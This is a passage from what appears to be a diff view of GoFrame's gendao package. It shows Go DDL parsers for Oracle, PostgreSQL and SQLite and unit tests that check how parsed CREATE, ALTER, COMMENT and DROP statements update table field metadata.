}
func Test_MySQL_AlterTable_ModifyColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(100),
PRIMARY KEY (id)
);
ALTER TABLE users MODIFY COLUMN name VARCHAR(200) NOT NULL COMMENT 'Full name';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(fields["name"].Type, "VARCHAR(200)")
t.Assert(fields["name"].Null, false)
t.Assert(fields["name"].Comment, "Full name")
})
}
func Test_MySQL_AlterTable_ChangeColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
old_name VARCHAR(100),
PRIMARY KEY (id)
);
ALTER TABLE users CHANGE COLUMN old_name new_name VARCHAR(200) NOT NULL;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
_, ok := fields["old_name"]
t.Assert(ok, false)
t.Assert(fields["new_name"].Name, "new_name")
t.Assert(fields["new_name"].Type, "VARCHAR(200)")
})
}
func Test_MySQL_AlterTable_AddPrimaryKey(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
CREATE TABLE users (
id INT NOT NULL,
name VARCHAR(100)
);
ALTER TABLE users ADD PRIMARY KEY (id);
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(tables["users"]["id"].Key, "PRI")
})
}
func Test_MySQL_DropTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
CREATE TABLE temp_log (id INT, msg TEXT);
CREATE TABLE users (id INT, name VARCHAR(100));
DROP TABLE IF EXISTS temp_log;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(len(tables), 1)
_, ok := tables["temp_log"]
t.Assert(ok, false)
_, ok = tables["users"]
t.Assert(ok, true)
})
}
func Test_MySQL_MultipleMigrations(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
// Simulate V1: initial schema
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, `
CREATE TABLE users (
id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
name VARCHAR(50) NOT NULL,
PRIMARY KEY (id)
);
`, tables)
t.AssertNil(err)
// Simulate V2: add columns
err = processSQL(parser, `
ALTER TABLE users ADD COLUMN email VARCHAR(200) NULL;
ALTER TABLE users ADD COLUMN phone VARCHAR(20) NULL;
`, tables)
t.AssertNil(err)
// Simulate V3: modify + drop
err = processSQL(parser, `
ALTER TABLE users MODIFY COLUMN name VARCHAR(100) NOT NULL COMMENT 'Full name';
ALTER TABLE users DROP COLUMN phone;
`, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 3) // id, name, email
t.Assert(fields["name"].Type, "VARCHAR(100)")
t.Assert(fields["name"].Comment, "Full name")
_, ok := fields["phone"]
t.Assert(ok, false)
t.Assert(fields["email"].Null, true)
})
}
func Test_MySQL_FullMigrationScenario(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
tables := make(map[string]map[string]*gdb.TableField)
// V001: Initial tables
err := processSQL(parser, `
CREATE TABLE IF NOT EXISTS users (
id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Primary key',
username VARCHAR(50) NOT NULL COMMENT 'Username',
password VARCHAR(128) NOT NULL COMMENT 'Hashed password',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (id),
UNIQUE KEY uk_username (username)
);
CREATE TABLE IF NOT EXISTS orders (
id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
user_id BIGINT UNSIGNED NOT NULL,
amount DECIMAL(10,2) NOT NULL DEFAULT 0.00,
PRIMARY KEY (id)
);
`, tables)
t.AssertNil(err)
t.Assert(len(tables), 2)
// V002: Add email, phone
err = processSQL(parser, `
ALTER TABLE users ADD COLUMN email VARCHAR(200) NULL COMMENT 'User email';
ALTER TABLE users ADD COLUMN phone VARCHAR(20) NULL COMMENT 'Phone number';
`, tables)
t.AssertNil(err)
t.Assert(len(tables["users"]), 6)
// V003: Modify, rename, drop
err = processSQL(parser, `
ALTER TABLE users MODIFY COLUMN username VARCHAR(100) NOT NULL COMMENT 'Login name';
ALTER TABLE users CHANGE COLUMN phone mobile VARCHAR(20) NULL COMMENT 'Mobile number';
ALTER TABLE users DROP COLUMN password;
ALTER TABLE orders ADD COLUMN status TINYINT(1) NOT NULL DEFAULT 0 COMMENT 'Order status';
`, tables)
t.AssertNil(err)
userFields := tables["users"]
t.Assert(len(userFields), 5) // id, username, email, mobile, created_at
t.Assert(userFields["username"].Type, "VARCHAR(100)")
t.Assert(userFields["username"].Comment, "Login name")
_, ok := userFields["password"]
t.Assert(ok, false)
_, ok = userFields["phone"]
t.Assert(ok, false)
t.Assert(userFields["mobile"].Name, "mobile")
t.Assert(userFields["mobile"].Comment, "Mobile number")
orderFields := tables["orders"]
t.Assert(len(orderFields), 4)
t.Assert(orderFields["status"].Default, "0")
// V004: Drop table
err = processSQL(parser, `
DROP TABLE IF EXISTS orders;
`, tables)
t.AssertNil(err)
t.Assert(len(tables), 1)
_, ok = tables["orders"]
t.Assert(ok, false)
})
}

View File

@ -1,209 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"fmt"
"strings"
"github.com/gogf/gf/v2/database/gdb"
)
// OracleParser implements SQLParser for Oracle/DM DDL.
type OracleParser struct{}
// ParseCreateTable parses a single Oracle CREATE TABLE statement.
func (p *OracleParser) ParseCreateTable(stmt string) (string, map[string]*gdb.TableField, error) {
body, _, ok := extractBodyAndTrailing(stmt)
if !ok {
return "", nil, nil
}
parenIdx := strings.Index(stmt, "(")
header := stmt[:parenIdx]
tableName := extractTableName(header)
if tableName == "" {
return "", nil, fmt.Errorf("cannot extract table name from: %s", header)
}
columnDefs := splitColumns(body)
fields := make(map[string]*gdb.TableField)
pkColumns := findPrimaryKeysFromConstraints(columnDefs)
fieldIndex := 0
for _, def := range columnDefs {
def = strings.TrimSpace(def)
if def == "" {
continue
}
firstWord := strings.ToUpper(strings.Fields(def)[0])
if isConstraintKeyword(firstWord) {
continue
}
field, err := p.parseColumnDef(def, fieldIndex)
if err != nil {
continue
}
if field != nil {
fields[field.Name] = field
fieldIndex++
}
}
for _, pkCol := range pkColumns {
if f, ok := fields[pkCol]; ok {
f.Key = "PRI"
}
upperPk := strings.ToUpper(pkCol)
if f, ok := fields[upperPk]; ok {
f.Key = "PRI"
}
}
return tableName, fields, nil
}
// ParseAlterTable parses Oracle ALTER TABLE statements.
func (p *OracleParser) ParseAlterTable(stmt string, tables map[string]map[string]*gdb.TableField) error {
return parseAlterTableCommon(stmt, tables, p.parseColumnDef)
}
// ParseComment parses COMMENT ON COLUMN table.column IS 'comment'.
func (p *OracleParser) ParseComment(stmt string, tables map[string]map[string]*gdb.TableField) {
upper := strings.ToUpper(strings.TrimSpace(stmt))
if !strings.HasPrefix(upper, "COMMENT ON COLUMN") {
return
}
rest := strings.TrimSpace(stmt[len("COMMENT ON COLUMN"):])
isIdx := strings.Index(strings.ToUpper(rest), " IS ")
if isIdx < 0 {
return
}
ref := strings.TrimSpace(rest[:isIdx])
comment := strings.TrimSpace(rest[isIdx+4:])
if len(comment) >= 2 && comment[0] == '\'' && comment[len(comment)-1] == '\'' {
comment = comment[1 : len(comment)-1]
comment = strings.ReplaceAll(comment, "''", "'")
}
parts := strings.Split(ref, ".")
var tableName, columnName string
switch len(parts) {
case 2:
tableName = unquoteIdentifier(parts[0])
columnName = unquoteIdentifier(parts[1])
case 3:
tableName = unquoteIdentifier(parts[1])
columnName = unquoteIdentifier(parts[2])
default:
return
}
if fields, ok := tables[tableName]; ok {
if field, ok := fields[columnName]; ok {
field.Comment = comment
}
}
}
// parseColumnDef parses a single Oracle column definition string into a TableField.
// It handles Oracle-specific types including TIMESTAMP WITH TIME ZONE and
// TIMESTAMP WITH LOCAL TIME ZONE.
func (p *OracleParser) parseColumnDef(def string, index int) (*gdb.TableField, error) {
tokens := mysqlTokenize(def)
if len(tokens) < 2 {
return nil, fmt.Errorf("invalid column definition: %s", def)
}
field := &gdb.TableField{
Index: index,
Name: unquoteIdentifier(tokens[0]),
Null: true,
}
field.Type = tokens[1]
rest := ""
if len(tokens) > 2 {
rest = strings.Join(tokens[2:], " ")
}
if !strings.Contains(field.Type, "(") && strings.HasPrefix(strings.TrimSpace(rest), "(") {
end := strings.Index(rest, ")")
if end >= 0 {
field.Type += rest[:end+1]
rest = strings.TrimSpace(rest[end+1:])
}
}
// Handle TIMESTAMP WITH TIME ZONE / WITH LOCAL TIME ZONE
upperType := strings.ToUpper(field.Type)
upperRest := strings.ToUpper(rest)
if upperType == "TIMESTAMP" {
if strings.HasPrefix(upperRest, "WITH LOCAL TIME ZONE") {
field.Type = "timestamp with local time zone"
rest = strings.TrimSpace(rest[len("WITH LOCAL TIME ZONE"):])
} else if strings.HasPrefix(upperRest, "WITH TIME ZONE") {
field.Type = "timestamp with time zone"
rest = strings.TrimSpace(rest[len("WITH TIME ZONE"):])
}
}
p.parseColumnAttributes(field, rest)
return field, nil
}
// parseColumnAttributes parses Oracle column constraint keywords including
// NOT NULL, NULL, PRIMARY KEY, UNIQUE, DEFAULT, and GENERATED ... AS IDENTITY.
func (p *OracleParser) parseColumnAttributes(field *gdb.TableField, attrs string) {
words := strings.Fields(attrs)
upperWords := strings.Fields(strings.ToUpper(attrs))
for i := 0; i < len(upperWords); i++ {
switch upperWords[i] {
case "NOT":
if i+1 < len(upperWords) && upperWords[i+1] == "NULL" {
field.Null = false
i++
}
case "NULL":
field.Null = true
case "PRIMARY":
if i+1 < len(upperWords) && upperWords[i+1] == "KEY" {
field.Key = "PRI"
i++
}
case "UNIQUE":
if field.Key == "" {
field.Key = "UNI"
}
case "DEFAULT":
if i+1 < len(words) {
defaultVal, _ := extractDefaultValue("DEFAULT " + strings.Join(words[i+1:], " "))
field.Default = defaultVal
if defaultVal != nil {
i++
}
}
case "GENERATED":
rest := strings.Join(upperWords[i:], " ")
if strings.Contains(rest, "AS IDENTITY") {
field.Extra = "auto_increment"
for j := i + 1; j < len(upperWords); j++ {
if upperWords[j] == "IDENTITY" {
i = j
break
}
}
}
}
}
}

View File

@ -1,97 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Oracle_CreateTable_Basic(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &OracleParser{}
sql := `
CREATE TABLE users (
ID NUMBER(10) NOT NULL,
NAME VARCHAR2(100) NOT NULL,
EMAIL VARCHAR2(200),
CREATED_AT TIMESTAMP WITH TIME ZONE DEFAULT SYSTIMESTAMP,
CONSTRAINT PK_USERS PRIMARY KEY (ID)
);
COMMENT ON COLUMN users.ID IS 'User ID';
COMMENT ON COLUMN users.NAME IS 'User name';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 4)
t.Assert(fields["ID"].Key, "PRI")
t.Assert(fields["ID"].Null, false)
t.Assert(fields["ID"].Comment, "User ID")
t.Assert(fields["NAME"].Null, false)
t.Assert(fields["NAME"].Comment, "User name")
t.Assert(fields["CREATED_AT"].Type, "timestamp with time zone")
})
}
func Test_Oracle_AlterTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &OracleParser{}
sql := `
CREATE TABLE users (
ID NUMBER(10) NOT NULL,
NAME VARCHAR2(100),
CONSTRAINT PK_USERS PRIMARY KEY (ID)
);
ALTER TABLE users ADD EMAIL VARCHAR2(200);
ALTER TABLE users MODIFY NAME VARCHAR2(200) NOT NULL;
COMMENT ON COLUMN users.EMAIL IS 'Email address';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 3)
t.Assert(fields["EMAIL"].Comment, "Email address")
t.Assert(fields["NAME"].Type, "VARCHAR2(200)")
t.Assert(fields["NAME"].Null, false)
})
}
func Test_Oracle_AlterTable_DropColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &OracleParser{}
sql := `
CREATE TABLE users (
ID NUMBER(10) NOT NULL,
NAME VARCHAR2(100) NOT NULL,
OLD_COL VARCHAR2(50),
EMAIL VARCHAR2(200),
CONSTRAINT PK_USERS PRIMARY KEY (ID)
);
ALTER TABLE users DROP COLUMN OLD_COL;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 3)
_, ok := fields["OLD_COL"]
t.Assert(ok, false)
t.Assert(fields["NAME"].Name, "NAME")
t.Assert(fields["EMAIL"].Name, "EMAIL")
})
}

View File

@ -1,268 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"fmt"
"strings"
"github.com/gogf/gf/v2/database/gdb"
)
// PgSQLParser implements SQLParser for PostgreSQL DDL.
type PgSQLParser struct{}
// ParseCreateTable parses a single PostgreSQL CREATE TABLE statement.
func (p *PgSQLParser) ParseCreateTable(stmt string) (string, map[string]*gdb.TableField, error) {
body, _, ok := extractBodyAndTrailing(stmt)
if !ok {
return "", nil, nil
}
parenIdx := strings.Index(stmt, "(")
header := stmt[:parenIdx]
tableName := extractTableName(header)
if tableName == "" {
return "", nil, fmt.Errorf("cannot extract table name from: %s", header)
}
columnDefs := splitColumns(body)
fields := make(map[string]*gdb.TableField)
pkColumns := findPrimaryKeysFromConstraints(columnDefs)
fieldIndex := 0
for _, def := range columnDefs {
def = strings.TrimSpace(def)
if def == "" {
continue
}
firstWord := strings.ToUpper(strings.Fields(def)[0])
if isConstraintKeyword(firstWord) {
continue
}
field, err := p.parseColumnDef(def, fieldIndex)
if err != nil {
continue
}
if field != nil {
fields[field.Name] = field
fieldIndex++
}
}
for _, pkCol := range pkColumns {
if f, ok := fields[pkCol]; ok {
f.Key = "PRI"
}
}
return tableName, fields, nil
}
// ParseAlterTable parses PostgreSQL ALTER TABLE statements.
func (p *PgSQLParser) ParseAlterTable(stmt string, tables map[string]map[string]*gdb.TableField) error {
return parseAlterTableCommon(stmt, tables, p.parseColumnDef)
}
// ParseComment parses COMMENT ON COLUMN schema.table.column IS 'comment' statements.
func (p *PgSQLParser) ParseComment(stmt string, tables map[string]map[string]*gdb.TableField) {
upper := strings.ToUpper(strings.TrimSpace(stmt))
if !strings.HasPrefix(upper, "COMMENT ON COLUMN") {
return
}
rest := strings.TrimSpace(stmt[len("COMMENT ON COLUMN"):])
isIdx := strings.Index(strings.ToUpper(rest), " IS ")
if isIdx < 0 {
return
}
ref := strings.TrimSpace(rest[:isIdx])
comment := strings.TrimSpace(rest[isIdx+4:])
if len(comment) >= 2 && comment[0] == '\'' && comment[len(comment)-1] == '\'' {
comment = comment[1 : len(comment)-1]
comment = strings.ReplaceAll(comment, "''", "'")
}
parts := strings.Split(ref, ".")
var tableName, columnName string
switch len(parts) {
case 2:
tableName = unquoteIdentifier(parts[0])
columnName = unquoteIdentifier(parts[1])
case 3:
tableName = unquoteIdentifier(parts[1])
columnName = unquoteIdentifier(parts[2])
default:
return
}
if fields, ok := tables[tableName]; ok {
if field, ok := fields[columnName]; ok {
field.Comment = comment
}
}
}
// parseColumnDef parses a single PostgreSQL column definition string into a TableField.
// It handles PostgreSQL-specific types like SERIAL/BIGSERIAL (auto-increment shorthand),
// CHARACTER VARYING, DOUBLE PRECISION, TIMESTAMP WITH TIME ZONE, and array types.
func (p *PgSQLParser) parseColumnDef(def string, index int) (*gdb.TableField, error) {
tokens := mysqlTokenize(def)
if len(tokens) < 2 {
return nil, fmt.Errorf("invalid column definition: %s", def)
}
field := &gdb.TableField{
Index: index,
Name: unquoteIdentifier(tokens[0]),
Null: true,
}
// Handle SERIAL types
typeToken := strings.ToUpper(tokens[1])
switch typeToken {
case "SERIAL":
field.Type = "int"
field.Extra = "auto_increment"
field.Null = false
case "BIGSERIAL":
field.Type = "bigint"
field.Extra = "auto_increment"
field.Null = false
case "SMALLSERIAL":
field.Type = "smallint"
field.Extra = "auto_increment"
field.Null = false
default:
field.Type = tokens[1]
}
rest := ""
if len(tokens) > 2 {
rest = strings.Join(tokens[2:], " ")
}
upperType := strings.ToUpper(field.Type)
upperRest := strings.ToUpper(rest)
switch {
case upperType == "CHARACTER" && strings.HasPrefix(upperRest, "VARYING"):
rest = strings.TrimSpace(rest[len("VARYING"):])
if strings.HasPrefix(rest, "(") {
end := strings.Index(rest, ")")
if end >= 0 {
field.Type = "character varying" + rest[:end+1]
rest = strings.TrimSpace(rest[end+1:])
}
} else {
field.Type = "character varying"
}
case upperType == "DOUBLE" && strings.HasPrefix(upperRest, "PRECISION"):
field.Type = "double precision"
rest = strings.TrimSpace(rest[len("PRECISION"):])
case (upperType == "TIMESTAMP" || upperType == "TIME") &&
(strings.HasPrefix(upperRest, "WITH TIME ZONE") || strings.HasPrefix(upperRest, "WITHOUT TIME ZONE")):
if strings.HasPrefix(upperRest, "WITH TIME ZONE") {
if upperType == "TIMESTAMP" {
field.Type = "timestamptz"
} else {
field.Type = "time with time zone"
}
rest = strings.TrimSpace(rest[len("WITH TIME ZONE"):])
} else {
field.Type = strings.ToLower(upperType)
rest = strings.TrimSpace(rest[len("WITHOUT TIME ZONE"):])
}
case !strings.Contains(field.Type, "(") && strings.HasPrefix(strings.TrimSpace(rest), "("):
end := strings.Index(rest, ")")
if end >= 0 {
field.Type += rest[:end+1]
rest = strings.TrimSpace(rest[end+1:])
}
}
// Handle array types
if strings.HasPrefix(rest, "[]") {
field.Type += "[]"
rest = strings.TrimSpace(rest[2:])
} else if strings.HasPrefix(strings.ToUpper(rest), "ARRAY") {
field.Type += "[]"
rest = strings.TrimSpace(rest[5:])
}
p.parseColumnAttributes(field, rest)
return field, nil
}
// parseColumnAttributes parses PostgreSQL column constraint keywords including
// NOT NULL, NULL, PRIMARY KEY, UNIQUE, DEFAULT, GENERATED ... AS IDENTITY, and REFERENCES.
func (p *PgSQLParser) parseColumnAttributes(field *gdb.TableField, attrs string) {
words := strings.Fields(attrs)
upperWords := strings.Fields(strings.ToUpper(attrs))
for i := 0; i < len(upperWords); i++ {
switch upperWords[i] {
case "NOT":
if i+1 < len(upperWords) && upperWords[i+1] == "NULL" {
field.Null = false
i++
}
case "NULL":
field.Null = true
case "PRIMARY":
if i+1 < len(upperWords) && upperWords[i+1] == "KEY" {
field.Key = "PRI"
i++
}
case "UNIQUE":
if field.Key == "" {
field.Key = "UNI"
}
case "DEFAULT":
if i+1 < len(words) {
defaultVal, _ := extractDefaultValue("DEFAULT " + strings.Join(words[i+1:], " "))
field.Default = defaultVal
if defaultVal != nil {
i++
}
}
case "GENERATED":
if containsSequence(upperWords[i:], "ALWAYS", "AS", "IDENTITY") ||
containsSequence(upperWords[i:], "BY", "DEFAULT", "AS", "IDENTITY") {
field.Extra = "auto_increment"
for j := i + 1; j < len(upperWords); j++ {
if upperWords[j] == "IDENTITY" {
i = j
break
}
}
}
case "REFERENCES":
for j := i + 1; j < len(upperWords); j++ {
i = j
if strings.Contains(words[j], ")") {
break
}
}
}
}
}
// containsSequence checks if words slice contains the given word sequence starting from index 1.
func containsSequence(words []string, seq ...string) bool {
if len(words) < len(seq)+1 {
return false
}
for i, s := range seq {
if words[i+1] != s {
return false
}
}
return true
}

View File

@ -1,232 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_PgSQL_CreateTable_Basic(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &PgSQLParser{}
sql := `
CREATE TABLE users (
id BIGSERIAL PRIMARY KEY,
name VARCHAR(100) NOT NULL,
email CHARACTER VARYING(200),
score DOUBLE PRECISION DEFAULT 0.0,
metadata JSONB,
created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP,
is_active BOOLEAN NOT NULL DEFAULT TRUE
);
COMMENT ON COLUMN users.name IS 'User full name';
COMMENT ON COLUMN users.email IS 'Email address';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 7)
// BIGSERIAL should be auto_increment bigint
t.Assert(fields["id"].Type, "bigint")
t.Assert(fields["id"].Extra, "auto_increment")
t.Assert(fields["id"].Key, "PRI")
// CHARACTER VARYING
t.AssertNE(fields["email"], nil)
// DOUBLE PRECISION
t.Assert(fields["score"].Type, "double precision")
// JSONB
t.Assert(fields["metadata"].Type, "JSONB")
// TIMESTAMP WITH TIME ZONE
t.Assert(fields["created_at"].Type, "timestamptz")
// COMMENT ON COLUMN
t.Assert(fields["name"].Comment, "User full name")
t.Assert(fields["email"].Comment, "Email address")
})
}
func Test_PgSQL_AlterTable_AddColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &PgSQLParser{}
sql := `
CREATE TABLE users (
id SERIAL PRIMARY KEY,
name VARCHAR(100) NOT NULL
);
ALTER TABLE users ADD COLUMN email VARCHAR(200);
COMMENT ON COLUMN users.email IS 'User email';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 3)
t.Assert(fields["email"].Name, "email")
t.Assert(fields["email"].Comment, "User email")
})
}
func Test_PgSQL_AlterTable_AlterColumnType(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &PgSQLParser{}
sql := `
CREATE TABLE users (
id SERIAL PRIMARY KEY,
name VARCHAR(100)
);
ALTER TABLE users ALTER COLUMN name TYPE VARCHAR(200);
ALTER TABLE users ALTER COLUMN name SET NOT NULL;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(fields["name"].Type, "VARCHAR(200)")
t.Assert(fields["name"].Null, false)
})
}
func Test_PgSQL_AlterTable_DropColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &PgSQLParser{}
sql := `
CREATE TABLE users (
id SERIAL PRIMARY KEY,
name VARCHAR(100),
old_col TEXT
);
ALTER TABLE users DROP COLUMN old_col;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 2)
_, ok := fields["old_col"]
t.Assert(ok, false)
})
}
func Test_PgSQL_AlterTable_RenameColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &PgSQLParser{}
sql := `
CREATE TABLE users (
id SERIAL PRIMARY KEY,
old_name VARCHAR(100)
);
ALTER TABLE users RENAME COLUMN old_name TO new_name;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
_, ok := fields["old_name"]
t.Assert(ok, false)
t.Assert(fields["new_name"].Name, "new_name")
})
}
func Test_PgSQL_MultipleMigrations(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &PgSQLParser{}
tables := make(map[string]map[string]*gdb.TableField)
// V1
err := processSQL(parser, `
CREATE TABLE products (
id BIGSERIAL PRIMARY KEY,
name VARCHAR(100) NOT NULL,
price NUMERIC(10,2) DEFAULT 0.00
);
`, tables)
t.AssertNil(err)
// V2: add, alter, comment
err = processSQL(parser, `
ALTER TABLE products ADD COLUMN category VARCHAR(50);
ALTER TABLE products ALTER COLUMN name TYPE VARCHAR(200);
ALTER TABLE products ALTER COLUMN name SET NOT NULL;
COMMENT ON COLUMN products.category IS 'Product category';
`, tables)
t.AssertNil(err)
// V3: rename, drop
err = processSQL(parser, `
ALTER TABLE products RENAME COLUMN category TO product_category;
`, tables)
t.AssertNil(err)
fields := tables["products"]
t.Assert(len(fields), 4)
t.Assert(fields["name"].Type, "VARCHAR(200)")
t.Assert(fields["name"].Null, false)
_, ok := fields["category"]
t.Assert(ok, false)
t.Assert(fields["product_category"].Name, "product_category")
t.Assert(fields["product_category"].Comment, "Product category")
})
}
func Test_PgSQL_FullMigrationScenario(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &PgSQLParser{}
tables := make(map[string]map[string]*gdb.TableField)
// V001: Initial
err := processSQL(parser, `
CREATE TABLE users (
id BIGSERIAL PRIMARY KEY,
name VARCHAR(100) NOT NULL,
email VARCHAR(200) UNIQUE
);
COMMENT ON COLUMN users.name IS 'User name';
`, tables)
t.AssertNil(err)
// V002: Add, alter type, set not null
err = processSQL(parser, `
ALTER TABLE users ADD COLUMN avatar TEXT;
ALTER TABLE users ALTER COLUMN name TYPE VARCHAR(200);
ALTER TABLE users ALTER COLUMN email SET NOT NULL;
COMMENT ON COLUMN users.avatar IS 'Avatar URL';
`, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 4)
t.Assert(fields["name"].Type, "VARCHAR(200)")
t.Assert(fields["email"].Null, false)
t.Assert(fields["avatar"].Comment, "Avatar URL")
// V003: Rename column, drop not null
err = processSQL(parser, `
ALTER TABLE users RENAME COLUMN avatar TO profile_image;
ALTER TABLE users ALTER COLUMN email DROP NOT NULL;
`, tables)
t.AssertNil(err)
_, ok := fields["avatar"]
t.Assert(ok, false)
t.Assert(fields["profile_image"].Name, "profile_image")
t.Assert(fields["email"].Null, true)
})
}

View File

@ -1,159 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"fmt"
"strings"
"github.com/gogf/gf/v2/database/gdb"
)
// SQLiteParser implements SQLParser for SQLite DDL.
type SQLiteParser struct{}
// ParseCreateTable parses a single SQLite CREATE TABLE statement.
func (p *SQLiteParser) ParseCreateTable(stmt string) (string, map[string]*gdb.TableField, error) {
body, _, ok := extractBodyAndTrailing(stmt)
if !ok {
return "", nil, nil
}
parenIdx := strings.Index(stmt, "(")
header := stmt[:parenIdx]
tableName := extractTableName(header)
if tableName == "" {
return "", nil, fmt.Errorf("cannot extract table name from: %s", header)
}
columnDefs := splitColumns(body)
fields := make(map[string]*gdb.TableField)
pkColumns := findPrimaryKeysFromConstraints(columnDefs)
fieldIndex := 0
for _, def := range columnDefs {
def = strings.TrimSpace(def)
if def == "" {
continue
}
firstWord := strings.ToUpper(strings.Fields(def)[0])
if isConstraintKeyword(firstWord) {
continue
}
field, err := p.parseColumnDef(def, fieldIndex)
if err != nil {
continue
}
if field != nil {
fields[field.Name] = field
fieldIndex++
}
}
for _, pkCol := range pkColumns {
if f, ok := fields[pkCol]; ok {
f.Key = "PRI"
}
}
return tableName, fields, nil
}
// ParseAlterTable parses SQLite ALTER TABLE statements.
// Note: SQLite only supports ADD COLUMN and RENAME COLUMN in ALTER TABLE.
func (p *SQLiteParser) ParseAlterTable(stmt string, tables map[string]map[string]*gdb.TableField) error {
return parseAlterTableCommon(stmt, tables, p.parseColumnDef)
}
// ParseComment is a no-op for SQLite as it doesn't support COMMENT ON statements.
func (p *SQLiteParser) ParseComment(stmt string, tables map[string]map[string]*gdb.TableField) {
// SQLite does not support comments on columns.
}
// parseColumnDef parses a single SQLite column definition string into a TableField.
// SQLite has flexible typing (type affinity), so columns may have no explicit type,
// in which case "text" is used as the default type.
func (p *SQLiteParser) parseColumnDef(def string, index int) (*gdb.TableField, error) {
tokens := mysqlTokenize(def)
if len(tokens) < 1 {
return nil, fmt.Errorf("invalid column definition: %s", def)
}
field := &gdb.TableField{
Index: index,
Name: unquoteIdentifier(tokens[0]),
Null: true,
}
if len(tokens) < 2 {
field.Type = "text"
return field, nil
}
field.Type = tokens[1]
rest := ""
if len(tokens) > 2 {
rest = strings.Join(tokens[2:], " ")
}
if !strings.Contains(field.Type, "(") && strings.HasPrefix(strings.TrimSpace(rest), "(") {
end := strings.Index(rest, ")")
if end >= 0 {
field.Type += rest[:end+1]
rest = strings.TrimSpace(rest[end+1:])
}
}
p.parseColumnAttributes(field, rest)
return field, nil
}
// parseColumnAttributes parses SQLite column constraint keywords including
// NOT NULL, NULL, PRIMARY KEY (with optional AUTOINCREMENT), UNIQUE, and DEFAULT.
func (p *SQLiteParser) parseColumnAttributes(field *gdb.TableField, attrs string) {
words := strings.Fields(attrs)
upperWords := strings.Fields(strings.ToUpper(attrs))
for i := 0; i < len(upperWords); i++ {
switch upperWords[i] {
case "NOT":
if i+1 < len(upperWords) && upperWords[i+1] == "NULL" {
field.Null = false
i++
}
case "NULL":
field.Null = true
case "PRIMARY":
